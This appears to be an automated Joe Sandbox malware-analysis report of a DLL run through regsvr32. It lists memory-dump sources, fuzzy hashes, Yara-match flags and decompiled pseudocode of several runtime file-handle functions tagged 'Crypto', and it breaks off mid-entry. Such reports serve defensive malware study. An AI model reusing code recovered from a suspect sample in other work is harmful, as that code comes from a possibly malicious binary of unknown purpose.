0x100447d0
0x100447d3
0x100447da
0x100447df
0x00000000
0x100447b5
0x10044761
0x10044768
0x1004476a
0x1004476f
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f2407df92afe3fe950163245a79762e5a312567743313f8827481ecf31f465e
Instruction ID: d21eeb2def509e58a4bc1b6b41043cf9ca54c899cb9ec27401f2807e8e28e3a5
Opcode Fuzzy Hash: 7f2407df92afe3fe950163245a79762e5a312567743313f8827481ecf31f465e
Instruction Fuzzy Hash: 6C31F73A3107808AC716CF26E54130EB7A4F7C5B94F625229DFA84BB95CF78E401C704

Uniqueness

Uniqueness Score: -1.00%

Function 1003D830 Relevance: .1, Instructions: 90
COMMONCrypto

Download Yara Rule

C-Code - Quality: 77%

			E1003D830(void* __ebx, signed int __ecx, void* __edx, long long __rbx, void* __rcx, void* __rdx, signed int __rdi, long long __rsi, void* __rbp, void* __r8, long long __r12, long long __r13, long long __r14, signed int _a8, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				signed long long _v72;
				void* _t29;
				void* _t33;
				void* _t43;
				signed int _t56;
				signed int _t58;
				void* _t60;
				intOrPtr* _t64;
				intOrPtr* _t65;
				intOrPtr* _t66;
				signed long long _t74;
				signed long long _t78;
				intOrPtr* _t80;

				_t81 = __r8;
				_t79 = __rbp;
				_t75 = __rsi;
				_t72 = __rdi;
				_t71 = __rdx;
				_t70 = __rcx;
				_t43 = __ebx;
				_a8 = __ecx;
				_t64 = _t80;
				 *((long long*)(_t64 + 0x20)) = __rbx;
				 *((long long*)(_t64 - 8)) = __rsi;
				 *((long long*)(_t64 - 0x10)) = __rdi;
				 *((long long*)(_t64 - 0x18)) = __r12;
				 *((long long*)(_t64 - 0x20)) = __r13;
				 *((long long*)(_t64 - 0x28)) = __r14;
				r12d = r8d;
				r13d = __edx;
				_t68 = __ecx;
				if(__ebx != 0xfffffffe) {
					__eflags = __ecx;
					if(__ecx < 0) {
						L10:
						E10032450(_t64);
						 *_t64 = 0;
						E10032420(_t64);
						 *_t64 = 9;
						_v72 = _t72;
						r9d = 0;
						r8d = 0;
						__eflags = 0;
						E10034370(_t68, _t70, _t71, _t72, _t75, _t79, _t81);
						_t22 = _t72 - 1; // -1
						_t33 = _t22;
						L11:
						return _t33;
					}
					__eflags = _t43 -  *0x100b8b10; // 0x20
					if(__eflags >= 0) {
						goto L10;
					}
					_t78 = __ecx >> 5;
					dil = __ebx;
					_t58 = _t56 & 0x0000001f;
					_t74 = __rdi << 6;
					_t65 =  *((intOrPtr*)(0x100b8b20 + _t78 * 8));
					__eflags =  *(_t65 + _t74 + 8) & 0x00000001;
					if(( *(_t65 + _t74 + 8) & 0x00000001) != 0) {
						E1003D3E0(_t29, __ebx, _t58, __ecx, _t74, _t78, __r12, __r13);
						_t66 =  *((intOrPtr*)(0x100b8b20 + _t78 * 8));
						__eflags =  *(_t66 + _t74 + 8) & 0x00000001;
						if(__eflags == 0) {
							E10032420(_t66);
							 *_t66 = 9;
							E10032450(_t66);
							__eflags = 0;
							 *_t66 = 0;
							_t60 = 0xffffffff;
						} else {
							r8d = r12d;
							_t60 = E1003D760(_t43, _t43, r13d, __eflags, _t66, _t68, _t74, _t78, __rbp, __r8);
						}
						E1003D4C0();
						_t33 = _t60;
					} else {
						E10032450(_t65);
						 *_t65 = 0;
						E10032420(_t65);
						 *_t65 = 9;
						_v72 = _t74;
						r9d = 0;
						r8d = 0;
						E10034370(__ecx, __rcx, __rdx, _t74, _t78, __rbp, __r8);
						_t14 = _t74 - 1; // -1
						_t33 = _t14;
					}
					goto L11;
				}
				E10032450(_t64);
				 *_t64 = 0;
				E10032420(_t64);
				 *_t64 = 9;
				_t33 = __ecx + 1;
				goto L11;
			}

0x1003d830
0x1003d830
0x1003d830
0x1003d830
0x1003d830
0x1003d830
0x1003d830
0x1003d830
0x1003d834
0x1003d83b
0x1003d83f
0x1003d843
0x1003d847
0x1003d84b
0x1003d84f
0x1003d853
0x1003d856
0x1003d859
0x1003d85f
0x1003d87d
0x1003d87f
0x1003d92b
0x1003d92b
0x1003d932
0x1003d934
0x1003d939
0x1003d93f
0x1003d944
0x1003d947
0x1003d94c
0x1003d94e
0x1003d953
0x1003d953
0x1003d956
0x1003d97b
0x1003d97b
0x1003d885
0x1003d88b
0x00000000
0x00000000
0x1003d894
0x1003d89f
0x1003d8a2
0x1003d8a5
0x1003d8a9
0x1003d8b1
0x1003d8b4
0x1003d8e5
0x1003d8eb
0x1003d8ef
0x1003d8f4
0x1003d907
0x1003d90c
0x1003d912
0x1003d917
0x1003d919
0x1003d91b
0x1003d8f6
0x1003d8f6
0x1003d903
0x1003d903
0x1003d922
0x1003d927
0x1003d8b6
0x1003d8b6
0x1003d8bd
0x1003d8bf
0x1003d8c4
0x1003d8ca
0x1003d8cf
0x1003d8d2
0x1003d8d9
0x1003d8de
0x1003d8de
0x1003d8de
0x00000000
0x1003d8b4
0x1003d861
0x1003d868
0x1003d86a
0x1003d86f
0x1003d875
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e5cd13fdd2a25b59d5ec2cabeba4b9863f05043586631ee77e91711505a062
Instruction ID: f900bd63fec2c40c5653afb95fc51d1866d9e318fd0811e8cf972b7dd42768d0
Opcode Fuzzy Hash: 28e5cd13fdd2a25b59d5ec2cabeba4b9863f05043586631ee77e91711505a062
Instruction Fuzzy Hash: AF31D03A2007808AC313EF26B94270EBBA5F7C5B95F615516EF894BB55CB78E402CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1004E9C0 Relevance: .1, Instructions: 90
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E1004E9C0(void* __ebx, signed int __ecx, void* __ebp, long long __rbx, void* __rcx, void* __rdx, signed int __rdi, long long __rsi, void* __rbp, void* __r8, long long __r12, long long __r13, long long __r14, void* __r15, signed int _a8, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				signed long long _v72;
				void* _t29;
				void* _t33;
				void* _t34;
				void* _t43;
				signed int _t54;
				signed int _t56;
				void* _t58;
				intOrPtr* _t63;
				intOrPtr* _t64;
				intOrPtr* _t65;
				signed long long _t74;
				signed long long _t78;
				intOrPtr* _t80;

				_t82 = __r12;
				_t81 = __r8;
				_t79 = __rbp;
				_t75 = __rsi;
				_t72 = __rdi;
				_t70 = __rdx;
				_t69 = __rcx;
				_t43 = __ebx;
				_a8 = __ecx;
				_t63 = _t80;
				 *((long long*)(_t63 + 0x20)) = __rbx;
				 *((long long*)(_t63 - 8)) = __rsi;
				 *((long long*)(_t63 - 0x10)) = __rdi;
				 *((long long*)(_t63 - 0x18)) = __r12;
				 *((long long*)(_t63 - 0x20)) = __r13;
				 *((long long*)(_t63 - 0x28)) = __r14;
				r12d = r8d;
				_t67 = __ecx;
				if(__ebx != 0xfffffffe) {
					__eflags = __ecx;
					if(__ecx < 0) {
						L10:
						E10032450(_t63);
						 *_t63 = 0;
						E10032420(_t63);
						 *_t63 = 9;
						_v72 = _t72;
						r9d = 0;
						r8d = 0;
						__eflags = 0;
						E10034370(_t67, _t69, _t70, _t72, _t75, _t79, _t81);
						_t22 = _t72 - 1; // -1
						_t33 = _t22;
						L11:
						return _t33;
					}
					__eflags = _t43 -  *0x100b8b10; // 0x20
					if(__eflags >= 0) {
						goto L10;
					}
					_t78 = __ecx >> 5;
					dil = __ebx;
					_t56 = _t54 & 0x0000001f;
					_t74 = __rdi << 6;
					_t64 =  *((intOrPtr*)(0x100b8b20 + _t78 * 8));
					__eflags =  *(_t64 + _t74 + 8) & 0x00000001;
					if(( *(_t64 + _t74 + 8) & 0x00000001) != 0) {
						_t34 = E1003D3E0(_t29, __ebx, _t56, __ecx, _t74, _t78, __r12, __rdx);
						_t65 =  *((intOrPtr*)(0x100b8b20 + _t78 * 8));
						__eflags =  *(_t65 + _t74 + 8) & 0x00000001;
						if(( *(_t65 + _t74 + 8) & 0x00000001) == 0) {
							E10032420(_t65);
							 *_t65 = 9;
							E10032450(_t65);
							__eflags = 0;
							 *_t65 = 0;
							_t58 = 0xffffffff;
						} else {
							r8d = r12d;
							_t58 = E1004E0F0(_t34, _t43, _t56, __ebp, _t67, __rdx, _t74, _t78, _t82, __rdx, 0x100b8b20, __r15);
						}
						E1003D4C0();
						_t33 = _t58;
					} else {
						E10032450(_t64);
						 *_t64 = 0;
						E10032420(_t64);
						 *_t64 = 9;
						_v72 = _t74;
						r9d = 0;
						r8d = 0;
						E10034370(__ecx, __rcx, __rdx, _t74, _t78, __rbp, __r8);
						_t14 = _t74 - 1; // -1
						_t33 = _t14;
					}
					goto L11;
				}
				E10032450(_t63);
				 *_t63 = 0;
				E10032420(_t63);
				 *_t63 = 9;
				_t33 = __ecx + 1;
				goto L11;
			}

0x1004e9c0
0x1004e9c0
0x1004e9c0
0x1004e9c0
0x1004e9c0
0x1004e9c0
0x1004e9c0
0x1004e9c0
0x1004e9c0
0x1004e9c4
0x1004e9cb
0x1004e9cf
0x1004e9d3
0x1004e9d7
0x1004e9db
0x1004e9df
0x1004e9e3
0x1004e9e9
0x1004e9ef
0x1004ea0d
0x1004ea0f
0x1004eabb
0x1004eabb
0x1004eac2
0x1004eac4
0x1004eac9
0x1004eacf
0x1004ead4
0x1004ead7
0x1004eadc
0x1004eade
0x1004eae3
0x1004eae3
0x1004eae6
0x1004eb0b
0x1004eb0b
0x1004ea15
0x1004ea1b
0x00000000
0x00000000
0x1004ea24
0x1004ea2f
0x1004ea32
0x1004ea35
0x1004ea39
0x1004ea41
0x1004ea44
0x1004ea75
0x1004ea7b
0x1004ea7f
0x1004ea84
0x1004ea97
0x1004ea9c
0x1004eaa2
0x1004eaa7
0x1004eaa9
0x1004eaab
0x1004ea86
0x1004ea86
0x1004ea93
0x1004ea93
0x1004eab2
0x1004eab7
0x1004ea46
0x1004ea46
0x1004ea4d
0x1004ea4f
0x1004ea54
0x1004ea5a
0x1004ea5f
0x1004ea62
0x1004ea69
0x1004ea6e
0x1004ea6e
0x1004ea6e
0x00000000
0x1004ea44
0x1004e9f1
0x1004e9f8
0x1004e9fa
0x1004e9ff
0x1004ea05
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f759046da2f4cc601f6892ee173594e801a25cfb6e51186cc3e74c9a43ec9e01
Instruction ID: 33d4008addcb3c041a1440303eec90b04db2842851f626c61d82058caa99a21a
Opcode Fuzzy Hash: f759046da2f4cc601f6892ee173594e801a25cfb6e51186cc3e74c9a43ec9e01
Instruction Fuzzy Hash: D331F53B3087808BC312CF26A94170EBBA5F7C4B94F659525EF898B755CB78E812C714

Uniqueness

Uniqueness Score: -1.00%

Function 10048A10 Relevance: .1, Instructions: 89
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 77%

			E10048A10(intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, void* __rsi, void* __rbp, void* __r12, void* __r13, void* __r14, void* __r15, signed int* _a40, intOrPtr _a48) {
				long long _v8;
				long long _v16;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v56;
				signed int _v64;
				long long _v72;
				intOrPtr _t36;
				intOrPtr _t37;
				intOrPtr _t47;
				intOrPtr _t48;
				signed int _t55;
				signed long long _t67;
				signed int* _t74;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t83 = __r15;
				_t82 = __r14;
				_t81 = __r13;
				_t80 = __r12;
				_t77 = __rbp;
				_t76 = __rsi;
				_t64 = __rbx;
				_v8 = __rbx;
				_v16 = __rdi;
				r10d = r8d;
				_t78 = __rcx;
				_v40 = 0;
				_t74 = _a40;
				if((0 | _t74 != 0x00000000) != 0) {
					 *_t74 = 0xffffffff;
					if((0 | __rcx != 0x00000000) != 0) {
						_t48 = _a48;
						if(_t48 == 0 || (0 | (r9d & 0xfffffe7f) == 0x00000000) != 0) {
							_v56 = _t48;
							_v64 = r9d;
							_v72 = r10d;
							r9d = _t55;
							_t67 =  &_v40;
							_t36 = E10048210(0, _t55, _t64, _t67, _t74, _t74, _t76, _t77, _t78, _t80, _t81, _t82, _t83);
							_t47 = _t36;
							_v36 = _t36;
							if(_v40 != 0) {
								if(_t36 != 0) {
									_t68 = _t67 << 6;
									 *( *((intOrPtr*)(0x100b8b20 + ( *_t74 >> 5) * 8)) + _t68 + 8) =  *( *((intOrPtr*)(0x100b8b20 + ( *_t74 >> 5) * 8)) + (_t67 << 6) + 8) & 0x000000fe;
								}
								E1003D4C0();
							}
							if(_t47 != 0) {
								 *_t74 = 0xffffffff;
							}
							_t37 = _t47;
						} else {
							E10032420(__rax);
							 *__rax = 0x16;
							_v72 = __rbx;
							r9d = 0;
							r8d = 0;
							E10034370(__rbx, __rcx, __rdx, _t74, __rsi, __rbp, __rcx);
							_t37 = 0x16;
						}
					} else {
						E10032420(__rax);
						 *__rax = 0x16;
						_v72 = __rbx;
						r9d = 0;
						r8d = 0;
						E10034370(__rbx, __rcx, __rdx, _t74, __rsi, __rbp, __rcx);
						_t37 = 0x16;
					}
				} else {
					E10032420(__rax);
					 *__rax = 0x16;
					_v72 = __rbx;
					r9d = 0;
					r8d = 0;
					E10034370(__rbx, __rcx, __rdx, _t74, __rsi, __rbp, __rcx);
					_t8 = _t64 + 0x16; // 0x16
					_t37 = _t8;
				}
				return _t37;
			}

0x10048a10
0x10048a10
0x10048a10
0x10048a10
0x10048a10
0x10048a10
0x10048a10
0x10048a14
0x10048a19
0x10048a1e
0x10048a21
0x10048a26
0x10048a2c
0x10048a3c
0x10048a65
0x10048a75
0x10048aa0
0x10048aa9
0x10048ae1
0x10048ae5
0x10048aea
0x10048aef
0x10048af5
0x10048afa
0x10048aff
0x10048b01
0x10048b0a
0x10048b0e
0x10048b26
0x10048b2e
0x10048b2e
0x10048b35
0x10048b35
0x10048b3c
0x10048b3e
0x10048b3e
0x10048b44
0x10048abb
0x10048abb
0x10048ac0
0x10048ac6
0x10048acb
0x10048ace
0x10048ad5
0x10048ada
0x10048ada
0x10048a77
0x10048a77
0x10048a7c
0x10048a82
0x10048a87
0x10048a8a
0x10048a91
0x10048a96
0x10048a96
0x10048a3e
0x10048a3e
0x10048a43
0x10048a49
0x10048a4e
0x10048a51
0x10048a58
0x10048a5d
0x10048a5d
0x10048a5d
0x10048b54

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ccd6e6ea8c598e23a64d86597d080d7d36c91e85838c57baa39a40544c8e02d
Instruction ID: da20a0bb8665aa592a90ffe3593ef49aeba0e1d4cf7047d09a27f97ef73f5e91
Opcode Fuzzy Hash: 5ccd6e6ea8c598e23a64d86597d080d7d36c91e85838c57baa39a40544c8e02d
Instruction Fuzzy Hash: BC3107763047818BD725CFA6B98174FB6A1F784784F614239AB89CBB99DB38D520CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800164B0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220b190b2df76fdca4aba994f53d96dd8558f8e078fe9ffc4c6cb5afd02dfade
Instruction ID: 1b4c4bb249de5bc10844495ef421a7f4f848f96d8c06f0b2a8adb9618a9744ca
Opcode Fuzzy Hash: 220b190b2df76fdca4aba994f53d96dd8558f8e078fe9ffc4c6cb5afd02dfade
Instruction Fuzzy Hash: EE4192B180078E8FDB45DFA8D88A4CE7BB0FF18358F104619E855A6254D3B89665CF89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B23C Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c22496411e87f399239dace5550b49eb541ee5b126de8fc5aafe01d820caa99
Instruction ID: 797a000513cf4092dd9cc2aa76d53521e8a47acb99d9c8a57361a6b3237af533
Opcode Fuzzy Hash: 6c22496411e87f399239dace5550b49eb541ee5b126de8fc5aafe01d820caa99
Instruction Fuzzy Hash: AD41E3B080070E8FDB49CF68C88A5DE7FB0FB68398F20061CF85596250D7B896A5CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 1003CC40 Relevance: .1, Instructions: 78
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E1003CC40(signed long long __ebx, signed int __ecx, signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, signed int __rdi, long long __rsi, void* __rbp, void* __r8, long long __r12, signed int _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				long long _v40;
				void* _t25;
				void* _t29;
				signed long long _t38;
				void* _t50;
				signed int _t54;
				void* _t55;
				intOrPtr* _t58;
				intOrPtr* _t59;
				signed long long _t67;
				signed long long _t71;
				void* _t77;

				_t73 = __r8;
				_t72 = __rbp;
				_t68 = __rsi;
				_t65 = __rdi;
				_t64 = __rdx;
				_t63 = __rcx;
				_t57 = __rax;
				_t38 = __ebx;
				_a8 = __ecx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_v8 = __r12;
				_t61 = __ecx;
				if(__ebx != 0xfffffffe) {
					__eflags = __ecx;
					if(__ecx < 0) {
						L10:
						E10032450(_t57);
						 *_t57 = 0;
						E10032420(_t57);
						 *_t57 = 9;
						_v40 = _t61;
						r9d = 0;
						r8d = 0;
						__eflags = 0;
						E10034370(_t61, _t63, _t64, _t65, _t68, _t72, _t73);
						_t20 = _t61 - 1; // -1
						_t29 = _t20;
						L11:
						return _t29;
					}
					__eflags = _t38 -  *0x100b8b10; // 0x20
					if(__eflags >= 0) {
						goto L10;
					}
					_t71 = __ecx >> 5;
					dil = __ebx;
					_t54 = __edi & 0x0000001f;
					_t67 = __rdi << 6;
					_t58 =  *((intOrPtr*)(0x100b8b20 + _t71 * 8));
					__eflags =  *(_t58 + _t67 + 8) & 0x00000001;
					if(( *(_t58 + _t67 + 8) & 0x00000001) != 0) {
						E1003D3E0(_t25, __ebx, _t54, __ecx, _t67, _t71, 0x100b8b20, _t77);
						_t59 =  *((intOrPtr*)(0x100b8b20 + _t71 * 8));
						__eflags =  *(_t59 + _t67 + 8) & 0x00000001;
						if(__eflags == 0) {
							E10032420(_t59);
							 *_t59 = 9;
							_t55 = 0xffffffff;
						} else {
							_t55 = E1003CB60(_t38, _t50, _t54, __eflags, _t59, _t61, _t67, _t71, __rbp, __r8);
						}
						E1003D4C0();
						_t29 = _t55;
					} else {
						E10032450(_t58);
						 *_t58 = 0;
						E10032420(_t58);
						 *_t58 = 9;
						_v40 = __ecx;
						r9d = 0;
						r8d = 0;
						E10034370(__ecx, __rcx, __rdx, _t67, _t71, __rbp, __r8);
						_t12 = _t61 - 1; // -1
						_t29 = _t12;
					}
					goto L11;
				}
				E10032450(__rax);
				 *__rax = 0;
				E10032420(__rax);
				 *__rax = 9;
				_t6 = _t61 - 1; // -1
				_t29 = _t6;
				goto L11;
			}

0x1003cc40
0x1003cc40
0x1003cc40
0x1003cc40
0x1003cc40
0x1003cc40
0x1003cc40
0x1003cc40
0x1003cc40
0x1003cc48
0x1003cc4d
0x1003cc52
0x1003cc57
0x1003cc5c
0x1003cc62
0x1003cc80
0x1003cc82
0x1003cd1f
0x1003cd1f
0x1003cd26
0x1003cd28
0x1003cd2d
0x1003cd33
0x1003cd38
0x1003cd3b
0x1003cd40
0x1003cd42
0x1003cd47
0x1003cd47
0x1003cd4a
0x1003cd62
0x1003cd62
0x1003cc88
0x1003cc8e
0x00000000
0x00000000
0x1003cc97
0x1003cca2
0x1003cca5
0x1003cca8
0x1003ccac
0x1003ccb4
0x1003ccb7
0x1003cce8
0x1003ccee
0x1003ccf2
0x1003ccf7
0x1003cd04
0x1003cd09
0x1003cd0f
0x1003ccf9
0x1003cd00
0x1003cd00
0x1003cd16
0x1003cd1b
0x1003ccb9
0x1003ccb9
0x1003ccc0
0x1003ccc2
0x1003ccc7
0x1003cccd
0x1003ccd2
0x1003ccd5
0x1003ccdc
0x1003cce1
0x1003cce1
0x1003cce1
0x00000000
0x1003ccb7
0x1003cc64
0x1003cc6b
0x1003cc6d
0x1003cc72
0x1003cc78
0x1003cc78
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ee4d81a9a2161d24c15b02cfe7ed226e868c3bee7787f6d304bb5c0fd9992b7
Instruction ID: 7583d680dd0c13a70ca3c2833a3d0ca8cec562022ec09d3d7154930bea6d6b19
Opcode Fuzzy Hash: 1ee4d81a9a2161d24c15b02cfe7ed226e868c3bee7787f6d304bb5c0fd9992b7
Instruction Fuzzy Hash: BC21A03A6143848FD316DF72E492B0EBAA1F785795F655539EB894FB46CB38E400CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800040EC Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97dd7ad7ed4da7885613c05e7c4b467882a88f11b93df6c09437ee41da23633b
Instruction ID: ee551c287d65493274ccd71416e70b6839b59b04b3cf45583f69181f014748a6
Opcode Fuzzy Hash: 97dd7ad7ed4da7885613c05e7c4b467882a88f11b93df6c09437ee41da23633b
Instruction Fuzzy Hash: BC312770509B84AFE798DF19D08961ABBE0FB88754F90692DF896C7364C7B4D844CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A524 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2450ad4f63e9eab6b0fd777a969288afe298e4bf8080dd2daf4be6793bcb3a51
Instruction ID: c97faa205c478208c3219bd42d827ae03b3c63d002405c5b04b2e2f9f0ff37b7
Opcode Fuzzy Hash: 2450ad4f63e9eab6b0fd777a969288afe298e4bf8080dd2daf4be6793bcb3a51
Instruction Fuzzy Hash: CB41C2B481038E9FDB45CF68C88A4CEBFF0FF18358F105619E869A6260D3B89655CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BCD8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 678669b04419ad2d4635d85871d616ec60642eea3c68703b871d5a0c171af1a3
Instruction ID: 59cca3e31367c169ee2058c6b6ebb4842ed8ece59f07bd55655f1f0b61e33c43
Opcode Fuzzy Hash: 678669b04419ad2d4635d85871d616ec60642eea3c68703b871d5a0c171af1a3
Instruction Fuzzy Hash: ED31BAB090038E8FDB48DF68D84A5DE7BB1FB58308F00461DE966A6790D7B89564CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A518 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925747cb72a7863cb1800b45333072a008e373f28f40b534f1631bfbb91340c4
Instruction ID: f55f2c540c33234ae71caf905f50c94d5411c45d2f65e3f465536a4e15b0615b
Opcode Fuzzy Hash: 925747cb72a7863cb1800b45333072a008e373f28f40b534f1631bfbb91340c4
Instruction Fuzzy Hash: 6941E4B190074ECFDB48CFA4C88A4CE7FB0FB54358F118659E869A7250D3B89699CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024F30 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feedea2b33cb6385ee4ad3c6a3e823ffa5528c55956b36ad74880593104e7d5d
Instruction ID: 749d4c73c437ffad66afda7a5258cdd7542fd44315b23a1c351c6d5272421933
Opcode Fuzzy Hash: feedea2b33cb6385ee4ad3c6a3e823ffa5528c55956b36ad74880593104e7d5d
Instruction Fuzzy Hash: 85317FB5529781AFD788DF28D58991ABBE0FB98304F806A2DF8C687390D374D845CB46

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F138 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df91658bc1dbe5cfe18ebcc4e61c3b7f9c162cb98f5bb57bad78f2701c366d0f
Instruction ID: 16b859d9df80baf28e859959afe371abc17297ca940c899fb79b59e9f05713a6
Opcode Fuzzy Hash: df91658bc1dbe5cfe18ebcc4e61c3b7f9c162cb98f5bb57bad78f2701c366d0f
